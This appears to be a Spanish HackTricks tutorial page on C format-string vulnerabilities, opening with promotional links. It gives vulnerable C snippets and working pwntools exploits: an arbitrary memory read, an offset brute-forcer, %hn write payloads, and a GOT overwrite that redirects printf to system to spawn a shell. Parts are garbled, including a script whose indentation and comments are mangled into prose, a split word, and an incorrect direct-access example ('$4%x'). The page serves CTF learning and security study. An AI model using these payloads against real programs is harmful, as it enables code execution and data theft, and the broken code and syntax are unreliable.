.. | ||
format-strings-arbitrary-read-example.md | ||
format-strings-template.md | ||
README.md |
Cadenas de formato
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Obtén la merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Información Básica
En C printf
es una función que se puede utilizar para imprimir una cadena. El primer parámetro que esta función espera es el texto sin formato con los formateadores. Los parámetros siguientes esperados son los valores para sustituir los formateadores del texto sin formato.
Otras funciones vulnerables son sprintf()
y fprintf()
.
La vulnerabilidad aparece cuando un texto del atacante se utiliza como el primer argumento de esta función. El atacante podrá crear una entrada especial abusando de las capacidades de las cadenas de formato printf para leer y escribir cualquier dato en cualquier dirección (legible/inscriptible). De esta manera, puede ejecutar código arbitrario.
Formateadores:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Ejemplos:
- Ejemplo vulnerable:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Uso Normal:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Con Argumentos Faltantes:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- Vulnerabilidad de fprintf:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
Accediendo a Punteros
El formato %<n>$x
, donde n
es un número, permite indicar a printf que seleccione el parámetro n (de la pila). Por lo tanto, si deseas leer el cuarto parámetro de la pila usando printf, podrías hacer lo siguiente:
printf("%x %x %x %x")
y leerías desde el primer hasta el cuarto parámetro.
O podrías hacer:
printf("$4%x")
y lee directamente el cuarto.
Ten en cuenta que el atacante controla el parámetro pr
intf
, lo que básicamente significa que su entrada estará en la pila cuando se llame a printf
, lo que significa que podría escribir direcciones de memoria específicas en la pila.
{% hint style="danger" %}
Un atacante que controle esta entrada, podrá agregar direcciones arbitrarias en la pila y hacer que printf
las acceda. En la siguiente sección se explicará cómo utilizar este comportamiento.
{% endhint %}
Lectura Arbitraria
Es posible utilizar el formateador %n$s
para hacer que printf
obtenga la dirección situada en la posición n, siguiéndola e imprimiéndola como si fuera una cadena (imprimir hasta encontrar un 0x00). Entonces, si la dirección base del binario es 0x8048000
, y sabemos que la entrada del usuario comienza en la cuarta posición en la pila, es posible imprimir el inicio del binario con:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Ten en cuenta que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se concatenará con 0x00 al final de esa dirección. {% endhint %}
Encontrar el desplazamiento
Para encontrar el desplazamiento de tu entrada, podrías enviar 4 u 8 bytes (0x41414141
) seguidos de %1$x
y aumentar el valor hasta recuperar las A's
.
Fuerza bruta para encontrar el desplazamiento de printf
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Qué tan útil es
Las lecturas arbitrarias pueden ser útiles para:
- **Volcar** el **binario** de la memoria
- **Acceder a partes específicas de la memoria donde se almacena información sensible** (como canarios, claves de cifrado o contraseñas personalizadas como en este [desafío de CTF](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## Escritura Arbitraria
El formateador **`$<num>%n`** escribe la **cantidad de bytes escritos** en la **dirección indicada** en el parámetro \<num> en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que **`$<num>%n`** escriba un número arbitrario en una dirección arbitraria.
Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A" a la entrada, para hacerlo es posible utilizar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Sin embargo, ten en cuenta que generalmente para escribir una dirección como 0x08049724
(que es un número ENORME para escribir de una vez), se usa $hn
en lugar de $n
. Esto permite escribir solo 2 Bytes. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.
Por lo tanto, esta vulnerabilidad permite escribir cualquier cosa en cualquier dirección (escritura arbitraria).
En este ejemplo, el objetivo será sobrescribir la dirección de una función en la tabla GOT que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria para ejecutar:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Vamos a sobrescribir una función que recibe sus argumentos del usuario y apuntarla a la función system
.
Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: primero escribe 2Bytes de la dirección y luego los otros 2. Para hacerlo se usa $hn
.
- HOB se refiere a los 2 bytes más altos de la dirección
- LOB se refiere a los 2 bytes más bajos de la dirección
Luego, debido a cómo funciona la cadena de formato, necesitas escribir primero el más pequeño de [HOB, LOB] y luego el otro.
Si HOB < LOB
[dirección+2][dirección]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Si HOB > LOB
[dirección+2][dirección]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Plantilla de Pwntools
Puedes encontrar una plantilla para preparar un exploit para este tipo de vulnerabilidad en:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
O este ejemplo básico de aquí:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Formato de cadenas para desbordamiento de búfer
Es posible abusar de las acciones de escritura de una vulnerabilidad de formato de cadena para escribir en direcciones de la pila y explotar un tipo de vulnerabilidad de desbordamiento de búfer.
Otros Ejemplos y Referencias
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bits, sin relro, sin canary, nx, sin pie, uso básico de cadenas de formato para filtrar la bandera de la pila (no es necesario alterar el flujo de ejecución)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bits, relro, sin canary, nx, sin pie, cadena de formato para sobrescribir la dirección
fflush
con la función win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bits, relro, sin canary, nx, sin pie, cadena de formato para escribir una dirección dentro de main en
.fini_array
(para que el flujo vuelva a recorrerse 1 vez más) y escribir la dirección desystem
en la tabla GOT apuntando astrlen
. Cuando el flujo regrese a main, se ejecutarástrlen
con la entrada del usuario y apuntando asystem
, ejecutará los comandos pasados.